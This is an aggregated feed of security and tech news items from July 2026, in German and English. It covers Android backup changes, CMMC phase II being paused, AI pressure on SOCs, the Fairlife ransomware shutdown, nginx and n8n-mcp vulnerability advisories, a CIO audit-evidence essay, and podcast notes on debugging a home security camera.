Je nachdem, wie viele Daten Sie bereits in der Google Cloud gesichert haben, könnte es also eng werden, selbst wenn die Sicherung nur wenige MB groß ist. Oder Sie merken von der Änderung nicht wirklich viel, da Sie ohnehin auf andere Backup-Methoden setzen.



Ein Upgrade auf 100 GB in Google One kostet 1,99 Euro monatlich, 2,99 Euro für 200 GB oder 9,99 Euro monatlich für 2 TB Speicherplatz. Mit enthalten ist auch der Zugriff auf “neue und leistungsstarke Funktionen” in Google Gemini.



Die besten Online-Backup-Dienste im Vergleich: Nie mehr Daten verlieren




AI Security at Scale, CMMC phase II paused, and the Weekly Enterprise News - Keith Hollender - ESW #468
Mon, 20 Jul 2026 11:37:16 +0200
Interview with Keith Hollender, CEO and Co-Founder of Arcova
 Why AI Security Is Becoming an Execution Problem, Not Just a Governance Problem
 As enterprises move from AI experimentation to adoption at scale, security leaders are under pressure to enable innovation without introducing unmanaged risk. The challenge is no longer whether organizations should pursue AI, but how they can govern it, secure it, and operationalize it in ways that stand up to real-world business and threat conditions.
 In this conversation, Keith Hollender discusses what Arcova is seeing across enterprise environments as organizations work to connect cybersecurity, AI governance, resilience, and broader transformation priorities. He explores where companies are getting stuck, why traditional siloed approaches are falling short, and what it takes to move from strategy decks to secure execution.
 Keith also shares how Arcova's practitioner-led, relationship-driven model helps organizations turn complexity into clarity by embedding with client teams, solving urgent problems hands-on, and building capabilities designed to last. The conversation also covers Arcova's continued growth, including expansion into the Middle East, and what global demand signals reveal about the next phase of cybersecurity and AI consulting.
 Segment Resources:
  https://arcova.com/sectors/
 https://arcova.com/category/blog/
 
 For more information about Arcova and how they can help your enterprise shape what's next, please visit:
 https://securityweekly.com/arcova
 Topic: CMMC Pause creating chaos among federal contractors
 This one sent some shockwaves through the CMMC community, particularly the hundreds or thousands of folks gearing up to assist with the validation that phase 2 aimed to provide. The TL;DR - defense contractors have been required to comply with CMMC controls for years, but self-attestation means that many probably haven't been meeting the requirements. Perhaps, rather than have tons of defense contractors fail the test, they just suspended the requirement for the test itself.
 I think Howard Holton nails it here when he says:
 "100,000 defense contractors needed third-party assessments. Roughly 100 authorized assessors exist. That's 1,000 assessments each, with the deadline in November."
 PCI already created a model that works for a scenario like this. If you're small, you self-assess. If you're big enough, an independent auditor comes to check you out once a year. I'm sure they were probably aware of this and chose not to go down that path for some reasons. I'm not aware of those reasons.
 What this means:
  Phase II is paused
 Phase I self-assessments still in place (note, however, that phase II existed, because self-attestation didn't work)
 NIST SP 800-171 Rev 2 and DFARS 252.204-7012 compliance still required
 60-day review aims to reform CMMC
 DoW opened an RFI for industry perspectives on what they should do
 CMMC characterized as a "compliance burden" and "red tape"
 False Claims Act and DOJ's cyber-fraud enforcement are still on the table
 
 More resources:
  CIO Davies' post on Twitter
 Administrator of the Small Business Administration, Kelly Loeffler's post
 A useful LinkedIn post that breaks down a lot of what this really means (and doesn't)
 
 Weekly Enterprise News
 Finally, in the enterprise security news,
  will AI eliminate more cybersecurity jobs than it creates?
 Linus's law, amended
 the biggest patch Tuesday ever
 AI context bombs
 AI workflows are a security disaster
 people using AI in areas they don't understand
 ransomware crews are hitting legal firms hard
 lessons learned from CISA's recent github leak
 demystify your USB cables!
 
 All that and more, on this episode of Enterprise Security Weekly.
 Visit https://www.securityweekly.com/esw for all the latest episodes!
 Show Notes: https://securityweekly.com/esw-468


[NEU] [mittel] Microsoft Windows: Mehrere Schwachstellen
Mon, 20 Jul 2026 11:37:14 +0200
Ein Angreifer kann mehrere Schwachstellen im Microsoft Windows Backup Service, Microsoft Windows Admin Center und Microsoft Windows Remote Desktop Web Client ausnutzen, um Informationen offenzulegen und um erweiterte Rechte zu erlangen.


AI Security at Scale, CMMC phase II paused, and the Weekly Enterprise News - ESW #468
Mon, 20 Jul 2026 11:03:55 +0200
Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:0 
Interview with Keith Hollender, CEO and Co-Founder of Arcova



Why AI Security Is Becoming an Execution Problem, Not Just a Governance Problem



As enterprises move from AI experimentation to adoption at scale, security leaders are under pressure to enable innovation without introducing unmanaged risk. The challenge is no longer whether organizations should pursue AI, but how they can govern it, secure it, and operationalize it in ways that stand up to real-world business and threat conditions.



In this conversation, Keith Hollender discusses what Arcova is seeing across enterprise environments as organizations work to connect cybersecurity, AI governance, resilience, and broader transformation priorities. He explores where companies are getting stuck, why traditional siloed approaches are falling short, and what it takes to move from strategy decks to secure execution.



Keith also shares how Arcova’s practitioner-led, relationship-driven model helps organizations turn complexity into clarity by embedding with client teams, solving urgent problems hands-on, and building capabilities designed to last. The conversation also covers Arcova’s continued growth, including expansion into the Middle East, and what global demand signals reveal about the next phase of cybersecurity and AI consulting.



Segment Resources:

- https://arcova.com/sectors/  

- https://arcova.com/category/blog/



For more information about Arcova and how they can help your enterprise shape what's next, please visit: https://securityweekly.com/arcova



Topic: CMMC Pause creating chaos among federal contractors



This one sent some shockwaves through the CMMC community, particularly the hundreds or thousands of folks gearing up to assist with the validation that phase 2 aimed to provide.

The TL;DR - defense contractors have been required to comply with CMMC controls for years, but self-attestation means that many probably haven't been meeting the requirements. Perhaps, rather than have tons of defense contractors fail the test, they just suspended the requirement for the test itself.



I think Howard Holton nails it here when he says:



"100,000 defense contractors needed third-party assessments. Roughly 100 authorized assessors exist. That's 1,000 assessments each, with the deadline in November."



PCI already created a model that works for a scenario like this. If you're small, you self-assess. If you're big enough, an independent auditor comes to check you out once a year. I'm sure they were probably aware of this and chose not to go down that path for some reasons. I'm not aware of those reasons.



What this means:



- Phase II is paused

- Phase I self-assessments still in place (note, however, that phase II existed, because self-attestation didn't work)

- NIST SP 800-171 Rev 2 and DFARS 252.204-7012 compliance still required

- 60-day review aims to reform CMMC

- DoW opened an RFI for industry perspectives on what they should do

- CMMC characterized as a "compliance burden" and "red tape"

- False Claims Act and DOJ's cyber-fraud enforcement are still on the table



More resources:



- CIO Davies' post on Twitter

- Administrator of the Small Business Administration, Kelly Loeffler's post

- A useful LinkedIn post that breaks down a lot of what this really means (and doesn't)



Weekly Enterprise News



Finally, in the enterprise security news, 



1. will AI eliminate more cybersecurity jobs than it creates?

2. Linus’s law, amended

3. the biggest patch Tuesday ever

4. AI context bombs

5. AI workflows are a security disaster

6. people using AI in areas they don’t understand

7. ransomware crews are hitting legal firms hard

8. lessons learned from CISA’s recent github leak

9. demystify your USB cables!



All that and more, on this episode of Enterprise Security Weekly.



Visit https://www.securityweekly.com/esw for all the latest episodes!



Show Notes: https://securityweekly.com/esw-468



Diese neuen Funktionen bekommen Android-Nutzer im Juli
Mon, 20 Jul 2026 10:18:23 +0200





Google ist aktuell dabei, ein neues Google-Play-System-Update auszurollen. Damit erhalten Android-Nutzer monatlich neue Funktionen, die einen direkten Einfluss auf ihr Smartphone haben (unabhängig vom Hersteller).



Die Seite 9to5Google hat die wichtigsten Neuerungen zusammengefasst. Demnach bekommen Android-Nutzer die Option, die Sicherung von SMS-, MMS- und RCS-Nachrichten direkt zu steuern. Das ähnelt der separaten Backup-Einstellung für ausgewählte Apps, die wir Ihnen letzte Woche vorgestellt hatten.



Über Einstellungen > Konten und Sicherung > Google-Sicherung > Weitere Gerätedaten gibt es nach Erhalt des Updates einen neuen Ein-/Aus-Schalter für SMS- und MMS-Nachrichten, Anrufverlauf und Geräteeinstellungen. Sie haben also deutlich mehr Kontrolle darüber, welche Daten Sie über die Google-Cloud speichern wollen.



Das ist auch besonders wichtig, da Google seit Neuestem keine Gratis-Backups für Android-Geräte mehr erlaubt. Jedes Backup Ihres Smartphones zählt also direkt auf Ihr verfügbares Speicherkontingent ein, das in der Gratis-Variante gerade einmal 15 GB sind.



Zusätzlich führt Android nun die lokale Sicherung von Dokumenten ein. Damit können Sie Ihre heruntergeladenen Dokumente automatisch in Google Drive speichern, damit diese sicher und von jedem Ihrer Geräte aus zugänglich sind. Auf der Seite „Sicherung“ erscheint dann neben „Fotos & Videos“ und „Sonstige Gerätedaten“ ein neues Menü namens „Dokumente“.



Google erklärt, dass zu den unterstützten Dateiformaten .DOC, .PPT, .XLS, .PDF “und alle anderen auf diesem Gerät gespeicherten Dokumente” gehören. Dokumente sollen bei der Übertragung zwischen Ihrem Gerät und den Google-Diensten verschlüsselt werden. Änderungen, die an den Dokumenten an einem Ort vorgenommen werden, werden nicht mit anderen Orten synchronisiert.



Mehr Neuerungen



In den Versionshinweisen zu den Google-Systemdiensten finden sich noch mehr kleine Neuerungen, die jetzt an Android-Nutzer ausgerollt werden. Dazu gehören unter anderem die Überarbeitung von In-App-Käufen mithilfe einer “verbesserten, nativen Storefront für Google One”, die Übertragung von Arbeitsprofilen auf Wear-OS-Smartwatches, eine neue Google-Standortfreigabe für Chromebooks sowie „neue Funktionen für Entwickler von Google- und Drittanbieter-Apps zur Unterstützung von Prozessen in ihren Apps im Zusammenhang mit Google Maps”.



All diese neuen Funktionen werden seit dem 6. Juli an Android-Nutzer verteilt. Über Einstellungen > Sicherheit und Datenschutz > Updates > Google Play-Systemupdate können Sie die aktuell installierte Version der Google Play System Updates prüfen und gegebenenfalls auf eine neue Version aktualisieren.



Android 17: Diese Smartphones bekommen das Update




SOCs face a human challenge as AI speeds alerts and threats
Mon, 20 Jul 2026 09:08:51 +0200

		
					  
						




Security operations centers (SOCs) have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that must itself be evaluated.



“There is an asymmetry here because you now have to parse through a lot of AI slop to get to, ‘Okay, is this real or not?’” Fernando Montenegro, vice president and practice lead at The Futurum Group, tells CSO.



His observation captures a growing concern among security leaders. AI is helping attackers and defenders move faster, but it is also creating new forms of cognitive burden for the humans tasked with separating signal from noise.



As AI accelerates vulnerability discovery and enables more automated reconnaissance and exploitation, defenders are increasingly responsible for overseeing systems whose outputs can be difficult to interpret or verify. The challenge is not simply more work. It is that the volume, speed, and complexity of that work are increasing simultaneously.



Yet experts who study and advise SOCs reject the idea that collapse is inevitable. Instead, they describe an industry entering a difficult transition that could reshape how security teams operate and how humans and machines share responsibility for defense.



The vulnerability surge is exposing years of security debt



One of the most immediate concerns is the possibility that AI dramatically increases the number of vulnerabilities organizations must identify and remediate.



Chris Crowley, a longtime cybersecurity instructor and SOC expert, argues that organizations are facing the consequences of years of accumulated technology debt.



“A lot of what we’re going to have to account for in the next couple of years is a technology debt of vulnerable software that has been deployed because it’s good enough to solve the problem, but then there are all these latent cyber issues, flaws, vulnerabilities that weren’t discovered prior to deployment,” he tells CSO.



AI-assisted vulnerability discovery has the potential to expose those weaknesses at a pace defenders have never experienced before.



“The compression of work that is being dropped on us is unprecedented,” Crowley says. “We’ve just been ignoring it for decades.”



He does not believe AI will necessarily create entirely new classes of vulnerabilities. Instead, he expects defenders to confront much larger volumes of familiar problems.



“We’re going to have 100 of these simultaneously,” he says, referring to the kinds of high-priority vulnerabilities security teams traditionally handle one at a time.



The AI challenge for many SOCs may be less a novelty problem than a volume problem. Security teams already know how to patch systems, prioritize remediation, and respond to critical exposures. What changes is the scale and speed at which those demands arrive.



Organizations with mature patching, prioritization, escalation, and response processes may struggle but adapt. Organizations that have treated security operations as a bare-minimum compliance function may find themselves overwhelmed.



For CISOs, Crowley says, that means treating “patch now” less as an occasional emergency state and more as a permanent operating posture. As AI accelerates vulnerability discovery, the distinction between routine maintenance and crisis response may continue to blur.



He compares the situation to disaster recovery planning. Organizations that wait until a crisis arrives to establish staffing plans, escalation paths, and remediation processes may discover there is not enough help available.



Cognitive overload may become the defining challenge



While vulnerability discovery receives much of the attention, Montenegro believes security leaders need a broader framework for understanding AI’s impact.



Organizations should think about AI through three lenses, he says: security for AI, AI for security, and security from AI. The first involves protecting AI systems. The second involves using AI to improve defensive operations. The third asks what happens when adversaries use AI against the organization.



For SOCs, all three categories are beginning to overlap.



As AI makes it easier to create reports, assessments, vulnerability submissions, and other operational artifacts, humans remain responsible for determining whether that information is accurate and useful.



“It becomes much easier to generate content,” Montenegro says, “but if you’re going to review that content as a human, the onus on you now is that much larger.”



The result is a new form of cognitive overload. Security professionals may spend increasing amounts of time evaluating machine-generated information instead of conducting higher-value security work.



Organizations can increasingly use AI to summarize reports, evaluate alerts, and assist with investigations, but humans remain responsible for validating the results.



“We’re not at the stage yet where people are comfortable” handing off critical decisions entirely to AI, he says.



That leaves defenders caught between two competing realities: AI is creating more information to process, but AI is also becoming one of the few viable tools for managing that growing workload.



For Montenegro, the principle should be to automate tasks, not roles. AI can absorb repetitive investigative steps, but organizations should be cautious about removing humans from the process entirely.



The risk, he says, is that if organizations hide too much complexity behind automated outputs, analysts may lose opportunities to develop the domain knowledge needed to advance.



“How is that professional who is reacting to those alerts growing as a professional?” he says.



The gap between mature and struggling SOCs may widen



Not every organization will experience the impact of AI in the same way.



John Hubbard, senior cybersecurity consultant and SANS instructor, believes the industry’s response will largely depend on how well organizations have prepared for operational stress before AI arrives at scale.



“I would roughly break security operations teams into two camps,” Hubbard tells CSO. “There are the ones that are definitely struggling, are already overwhelmed. And then some are doing really well.”



The struggling organizations tend to be understaffed, underfunded, undertrained, or dependent on ad hoc processes. Every incident feels different, forcing teams to improvise under pressure.



“Getting hit with something like this can certainly be an accelerant for burnout if they weren’t already experiencing it,” Hubbard says.



By contrast, mature security teams have already invested in processes, training, exercises, and automation. “The teams that are doing a really solid job now are probably not super overwhelmed because they’ve developed the processes and procedures to be ready for this kind of thing,” Hubbard says.



He compares successful SOCs to fire departments. Firefighters cannot predict exactly where the next emergency will occur, but they know how to respond because they have rehearsed those responses repeatedly.



“The teams that kind of can react like a fire department are the ones that are getting it right,” he says.



Those organizations conduct tabletop exercises, adversary emulation exercises, red-team assessments, and incident response drills. As a result, they can absorb additional workload without descending into panic.



Burnout remains the industry’s most difficult problem



Despite widespread concern about AI-enabled attacks, none of the experts view AI solely as a threat. Several argue that AI will become essential for helping defenders cope with the challenges it creates.



Jose-Marie Griffiths, president emerita and former CIO of Dakota State University, believes AI can help security teams sift through overwhelming volumes of information and identify the signals that matter most.



“People who work in SOCs are now seeing overwhelming volumes of data, and they’re getting fatigued,” Griffiths tells CSO.



AI can help automate portions of analysis, validate alerts, and improve visibility into complex environments. But Griffiths cautions that some AI-assisted vulnerability discovery tools are also producing large numbers of false positives.



That matters because false positives do not eliminate work. They create it. As organizations confront escalating volumes of findings, distinguishing genuine risk from erroneous results may become as important as discovering vulnerabilities in the first place.



The experts agree that technology alone will not determine outcomes. People will.



Crowley argues that cybersecurity professionals must recognize that uncertainty is intrinsic to the profession. “We are the group that deals with uncertainty,” he says. “That’s really and truly what cybersecurity is.”



That reality places responsibility on both individuals and organizations. Analysts need mechanisms for managing stress. Teams need to recognize when colleagues are approaching their limits. Managers need to establish healthy escalation practices and realistic expectations.



Hubbard rejects the notion that burnout is inevitable.



“It is not a foregone conclusion that security operations jobs have to be a painful grind that everyone hates,” he says.



He has seen organizations where employees remain engaged for years because leaders actively manage workload, create supportive cultures, and encourage open communication.



That includes making it safe for analysts to admit when they have reached their limits. “If people are unwilling to say, ‘I’m maxed out right now, and I’m going crazy,’ that’s going to be the thing that breaks a lot of teams,” Hubbard says.



Pay alone may not solve the problem. Crowley pointed to SANS/SOC survey findings showing that compensation ranked fourth among retention factors, behind meaningful work, training, and professional development.



The future SOC may look very different



Griffiths believes organizations will need to respond not only with better technology but with structural changes. Traditional tiered SOC models may need to evolve into more collaborative teams with diverse expertise working together in real-time.



“I think we’re going to have to eliminate the hierarchies a little bit and have teams of people with different expertise working together,” she says.



She also argues that organizations should invest in human expertise rather than simply increasing AI consumption. “Buy engineers, not tokens,” she says.



Professional networks and peer support will matter as much as any tool, Griffiths says, because defenders need trusted communities where they can compare notes, share practices, and avoid facing sustained pressure in isolation.



If there is a consensus emerging among experts, it is that AI is exposing weaknesses that already existed.



The staffing shortages, alert fatigue, burnout, and process failures affecting SOCs did not begin with generative AI. AI is simply amplifying them.



At the same time, AI is providing new tools that may help organizations manage those very challenges.



The future SOC may spend less time manually triaging alerts and more time validating automated findings, conducting threat hunting, and making strategic decisions. Human expertise may increasingly be paired with AI systems that act as operational partners.



The transition will not be painless. Some teams will struggle. Some practitioners may leave the field. Others will adapt and thrive.



“In a way,” Griffiths says, “we’re turning the whole SOC inside out.”



Montenegro sees the transition as a cybersecurity version of the Red Queen effect: defenders and attackers must keep running simply to stay in place.



Borrowing from science-fiction author William Gibson, Montenegro offered perhaps the simplest description of the industry’s current moment: “The future is already here. It’s just unevenly distributed.”



For security leaders, that future is arriving in the form of AI-generated vulnerabilities, AI-assisted investigations, and AI-enabled adversaries. The question is no longer whether security operations centers will change. It is whether organizations can adapt quickly enough to keep pace.



Fairlife Ransomware Attack Hits Production Systems, U.S. Operations Suspended
Mon, 20 Jul 2026 08:52:34 +0200
The Fairlife ransomware attack has temporarily halted production operations at Coca-Cola-owned dairy company fairlife in the United States after unauthorized access was detected in a portion of its systems, including production-related systems.

According to The Coca-Cola Company, fairlife identified unauthorized access by a third party in connection with a ransomware event. Following the discovery, the company activated its incident response and business continuity protocols while launching an investigation with the support of external advisors and cybersecurity experts. Law enforcement has also been notified.

The company said the investigation is ongoing and that the full scope, nature, and impact of the incident are not yet known.
Fairlife Ransomware Attack Suspends U.S. Production
The Fairlife ransomware attack has resulted in the temporary suspension of production operations at fairlife facilities across the United States. However, the company stated that product quality and safety have not been affected by the incident.

According to the company's statement, fairlife's production operations in Canada remain operational and have not been impacted by the ransomware event.

The Coca-Cola Company also confirmed in a Form 8-K filing dated July 16, 2026, that fairlife detected the unauthorized access on Thursday. The filing reiterated that the company immediately activated its incident response procedures and business continuity protocols after identifying the intrusion.

While the company continues to assess the incident, it said it has not yet determined whether the ransomware attack is reasonably likely to materially affect its business because the full impact remains unknown.

The company added that it is working to complete its investigation and restore affected systems and production operations as quickly as possible.
Investigation Into Unauthorized Access Continues
The ongoing investigation is being conducted with assistance from outside cybersecurity experts. According to the company, the incident involved unauthorized access to a portion of fairlife's systems, including systems related to production.

At this stage, The Coca-Cola Company has not disclosed how the attackers gained access, whether any data was compromised, or if a ransomware group has claimed responsibility for the attack.

The company emphasized that its assessment is still underway and that additional details will be shared as more information becomes available.
Food and Beverage Sector Faces Growing Cybersecurity Risks
The food and beverage cyberattack trend has continued to affect manufacturers and logistics providers worldwide in recent months.

On July 16, a cyberattack targeting Nichirei disrupted food deliveries across Japan after the frozen food and logistics provider confirmed unauthorized access to its servers. The incident affected logistics operations supporting KFC Japan, leading to temporary service disruptions while systems were being restored.

Earlier this year, in February 2026, Australian poultry processor Hazeldenes also experienced a cybersecurity incident that disrupted production across its network. The Victoria-based company later announced it had begun a phased return to production to restore operations safely and securely while investigations continued.

The latest incident involving fairlife adds another major food producer to the list of companies dealing with operational disruptions linked to cyber incidents. While production has been paused at fairlife's U.S. facilities, the company has maintained that product quality and safety remain unaffected and that its Canadian production continues without disruption.

As the investigation progresses, The Coca-Cola Company said it remains focused on restoring impacted systems and resuming normal production operations. The company also noted that the complete scope and potential business impact of the incident have not yet been determined.


CVE-2026-42533 Exposes Critical Pre-Auth nginx RCE Flaw
Mon, 20 Jul 2026 08:52:32 +0200
A newly disclosed security flaw, CVE-2026-42533, has revealed a critical Pre-Auth nginx vulnerability that could allow attackers to achieve reliable RCE (remote code execution) without authentication. The issue affects nginx versions 0.9.6 through 1.30.3 (stable) and 1.31.2 (mainline), while patched releases include 1.30.4 and 1.31.3. Affected NGINX Plus versions include R33-R36 (fixed in R36 P7) and 37.0.0.1-37.0.2.1 (fixed in 37.0.3.1). 

According to the disclosure, the vulnerability stems from a missing save-and-restore mechanism for PCRE capture state within nginx's two-pass script evaluation engine. The flaw enables attackers to trigger a heap buffer overflow with attacker-controlled content and length, while also exposing heap pointers through an information leak that can defeat Address Space Layout Randomization (ASLR). Chaining both primitives enables reliable Pre-Auth nginx RCE. 
CVE-2026-42533 Impacts Multiple Configurations 
The advisory warns that deployments using map directives with regex patterns alongside regex capture sources, including location, server_name, rewrite, or if blocks, may be vulnerable. The issue depends on evaluation order, where regex capture references, such as $1 or named groups, are processed before a regex map variable. 

Affected directives include proxy_set_header, proxy_method, proxy_pass, fastcgi_param, uwsgi_param, scgi_param, grpc_set_header, return, add_header, rewrite, set, root, alias, and access_log, among others. Both HTTP and stream modules are affected, and the vulnerable capture and map variables do not need to exist within the same directive. 
Technical Root Cause
The researcher explained that nginx evaluates expressions in two stages: a length calculation (LEN) pass followed by a value (VALUE) pass. During execution, regex map evaluation overwrites shared capture data stored in the request object. As a result, the LEN pass and VALUE pass can calculate different capture sizes, causing either a heap overflow or an information leak depending on the relative capture lengths. 

The disclosure states that attackers can control both the overflow size and leaked data using ordinary HTTP requests, including request URIs, headers, and bodies. No credentials, client certificates, or unusual configuration beyond the vulnerable pattern are required. 

Testing reportedly achieved 10 out of 10 successful exploitations on Ubuntu 24.04 using glibc 2.39 with ASLR enabled.
Mitigation and Disclosure
The researcher said recent fixes for CVE-2026-42945, CVE-2026-9256, CVE-2026-42055, and CVE-2026-48142 do not address CVE-2026-42533. Administrators are advised to upgrade immediately to nginx 1.30.4, 1.31.3, or the corresponding patched NGINX Plus releases. 

Until systems are updated, defenders should audit configurations that combine regex captures with regex map variables in the same evaluation path. The researcher also released a static configuration scanner that identifies vulnerable configurations without exploiting them. 

The initial report was submitted to F5 SIRT on May 17, 2026, with follow-up analyses covering additional variants, including cross-directive triggering and named capture clobbering. While a proof-of-concept exploit exists, the researcher said it will be withheld until users have sufficient time to apply patches, citing concerns over rapid exploitation following previous nginx vulnerability disclosures. 


CVE-2026-54052 | czlonkowski n8n-mcp up to 2.56.0 Workflow Version History Backup improper authorization
Mon, 20 Jul 2026 05:56:50 +0200
A vulnerability, which was classified as critical, was found in czlonkowski n8n-mcp up to 2.56.0. This issue affects some unknown processing of the component Workflow Version History Backup. The manipulation results in improper authorization.

This vulnerability is identified as CVE-2026-54052. The attack can be executed remotely. There is not any exploit available.


The audit trail CIOs need before the next cyber crisis
Mon, 20 Jul 2026 02:13:22 +0200

		
					  
						




In one ransomware response I observed, the master operational dashboard remained green while the underlying environment told a very different story. It was a classic example of what we in the IT audit profession call the “watermelon effect”—green on the outside, red on the inside.



Beneath that dashboard sat an unmapped web of legacy technical debt, undocumented service accounts and shadow cloud instances. For years, presenting a green dashboard to the audit committee could give technology leaders a false sense of comfort. If a catastrophic breach occurred, it was generally treated as an unpredictable operational tragedy, managed via cyber insurance, a carefully calibrated public relations pivot and perhaps a quiet executive transition.



Today, that corporate shield is thinner than many technology leaders assume. For technology leaders in regulated or public-company environments, executive exposure is no longer only a theoretical debate. The regulatory environment has made plausible deniability much harder to sustain.



The erosion of the corporate shield



With the application of the European Union’s Digital Operational Resilience Act (DORA) for financial entities, alongside the broader NIS2 Directive for essential and important entities, cybersecurity governance has become harder to separate from board-level oversight. DORA places ultimate responsibility for ICT risk management on the management body of financial entities, while NIS2 requires management bodies to approve and oversee cybersecurity risk-management measures. In the United States, the U.S. Securities and Exchange Commission’s cybersecurity disclosure rules require public companies to disclose material cyber incidents and describe their cyber risk management, strategy and governance in annual filings. The new burden is not simply to operate controls; it is to show, after the fact, that leadership decisions matched the risk evidence available at the time.



The serious risk to a modern CIO is not simply the occurrence of a sophisticated security incident. The true danger is the inability to reconcile what leadership presented externally to investors, regulators and the board with what the internal evidence showed inside the environment.



When a serious crisis breaks, you may find yourself surrounded by corporate defense counsel, regulatory investigators and outside forensic lawyers all asking variations of the same uncomfortable questions: What did you know, when did you discover it and what specific actions did you take next?



When those questions are asked, a slide deck asserting that your security posture is “aligned with industry best practices” will not be enough. A post-incident review may recognize that sophisticated attacks occur. What creates greater exposure is evidence that known risks were ignored, understated or left outside structured governance. To survive that level of post-incident review, one of your strongest assets is a disciplined, independent evidence trail showing that risks were identified, challenged, escalated and acted on before the first indicator of compromise appeared.



Why point-in-time comfort letters fail regulatory scrutiny



The reality we face is that legacy compliance evidence often falls short under regulatory scrutiny. For years, the annual SOC 2 Type II report or a standardized ISO 27001 certification was brandished by technology teams as the definitive proof of a functional control environment. I have sat in dozens of scoping meetings where an engineering director pointed to a freshly minted compliance report as if it were a complete defense against scrutiny.



But a compliance report is a historical artifact—a retrospective evaluation of how specific controls operated during a defined window of time months in the past. It tells an investigator that on a random afternoon in Q2, your production change-management approvals conformed to a baseline policy. It says absolutely nothing about the configuration drift, unauthorized API keys or emergency patch bypasses that developers introduced the following weekend to hit a product release deadline.



Modern regulators, boards and investors are no longer satisfied by historical comfort letters alone. Under contemporary frameworks, especially regimes focused on operational resilience, static compliance evidence is no longer enough. The expectation of due care has shifted from a passive state of compliance to an active state of continuous challenge. Increasingly, post-incident reviews look for evidence that leadership identified system vulnerabilities, formally escalated material deficiencies, evaluated systemic risk to the business and tracked remediation progress with measurable rigor.



When an architecture fails, post-incident reviews often focus quickly on ownership, escalation and whether known risks were acted upon. If your defensive documentation consists entirely of static policy documents and green dashboards, you leave an evidentiary vacuum that can invite difficult questions about executive oversight. Post-incident reviews rarely turn on perfection. They turn on whether the organization can show a traceable chain of governance.



5 non-negotiable artifacts for your executive evidence engine



This reality requires a complete reframing of your relationship with your IT audit department. Historically, this dynamic has been defined by friction. Technology leaders frequently view my peers and me as compliance traffic cops—bureaucrats who interrupt core engineering sprints to demand evidence samples, user access reviews and system configurations.



It is time to view IT audit through a pragmatic lens: we are your independent evidence engine. We are one of the few corporate functions tasked with independently challenging your control environment, documenting where exceptions were escalated and showing how management responded. When an auditor identifies a control gap and partners with you to draft a management action plan, they are not creating a bureaucratic roadblock. They are helping you construct an evidence trail that can show risk was identified, escalated and acted upon.



To transform your IT audit function into an effective executive shield, you must shift focus away from superficial check-the-box exercises and collaborate on specific artifacts. The most effective exercise you can run with your audit leadership is to flip the timeline completely and ask: if this program were reviewed six months from now, which evidence would show we governed the risk before it failed?




Board-facing risk registers with escalation history: A risk register that sits unreviewed on an intranet page for 12 months is not a management tool; to an investigator, it can look like evidence that known risks were not actively governed. Your material technology, cybersecurity and dependency risks must be centrally logged. More importantly, this artifact must contain a clear, chronological escalation history showing exactly when the risk was presented to leadership committees and the board, along with related minutes, decisions or follow-up actions.



Granular risk acceptance records: You cannot remediate every vulnerability instantly. Business continuity, legacy software limitations and budgetary boundaries require you to accept certain operational exposures. When this occurs, ensure your risk acceptance records are airtight. A defensible record must document the specific technical variance, the precise financial or operational rationale for the delay, a definitive expiration date, explicit executive sign-off and the active compensating controls deployed to reduce the blast radius in the interim.



Tabletop and operational simulation records: Independent frameworks such as ISACA’s Digital Trust Ecosystem Framework can help structure this evidence, but boards and regulators will still look for proof that the testing actually happened. Your audit trail should contain comprehensive records of cyber incident, disaster recovery and third-party dependency simulations. These records must detail the scenario tested, the executive participants, the control failures identified during the drill and a formalized tracking schedule showing when those gaps were closed.



AI governance inventories and data-flow mappings: The rapid deployment of generative AI tools across enterprise operations has created a massive blind spot for technology executives. In one audit, we found developers using an unapproved public large language model to accelerate debugging with sensitive internal code. To protect yourself, work with your audit team to build an active enterprise AI inventory that maps data lineage, identifies model business owners, documents risk classification approvals and demonstrates active technical monitoring for unauthorized data exfiltration.



Synchronized disclosure-control handoffs: When a material security incident or system outage occurs, the clock begins ticking for regulatory reporting. Your incident response playbook must be technically linked to your corporate disclosure controls. The audit trail should show that a documented, synchronized handoff occurred between your technical response leaders, general counsel, chief financial officer and corporate communications team. This evidence helps show that your external statements match internal technical realities.




In the modern corporate ecosystem, technology leadership is no longer just an engineering challenge; it is an exercise in rigorous, evidence-based governance. The regulatory landscape has changed, and the expectation of continuous traceability cannot be avoided.



Open and direct collaboration with your IT audit team will not prevent a zero-day exploit, an unexpected cloud outage or a critical third-party vendor failure. That is not the purpose of enterprise risk management.



The true value is far more practical: when a serious incident puts your program under review, you will not be forced to defend your reputation with a feeling, an unverified assumption or a misleadingly green dashboard. Instead, you will have an independent record showing that risk was actively seen, appropriately challenged, properly escalated and responsibly managed. In today’s regulatory environment, that disciplined trail of evidence may be the difference between a failure that can be explained and one that begins to look negligent.



.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



HPR4686: Debugging Security Cameras: Firmware Updates, Python Scripts and Windows Workarounds
Mon, 20 Jul 2026 02:06:59 +0200
This show has been flagged as Explicit by the host.


 Show Notes


 Episode Overview




Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.




 Key Topics & Breakdown










Egg Drop Soup Hack:
 How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.




Camera Setup & Network Config:
 Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.




Python & Cron Automation:
 Running a custom Python script every 2 minutes to check for new recordings, parsing logs with 
grep -v
, and navigating massive log files in 
vi
.




Windows Troubleshooting Tangent:
 Deleting the stubborn 
Windows.old
 folder using the TrustedInstaller service hack (
ExecTI.exe
) instead of taking ownership manually.




Time Sync & Firmware Quirks:
 Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming 
.bin
 to 
.zip
, and extracting with 7-Zip.




Pre-Flash Backup Routine:
 Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.








️ Tools & Techniques Mentioned










crontab
 + Python scripts for automated monitoring




grep -v
, 
cat
, 
tail
, and 
vi
 (line navigation with 
:1000
)


Obsidian for note-taking & AI assistant integration


Firefox/Playwright for headless browser testing


Turbo Download Manager & Bolt Media Downloader for multi-threaded/sniffing downloads


7-Zip for archive extraction


Google Drive for searchable config backups








 Resources & Links










Python API Script:
 
Uniview IPC3628SR Recording Checker






Camera Model:
 
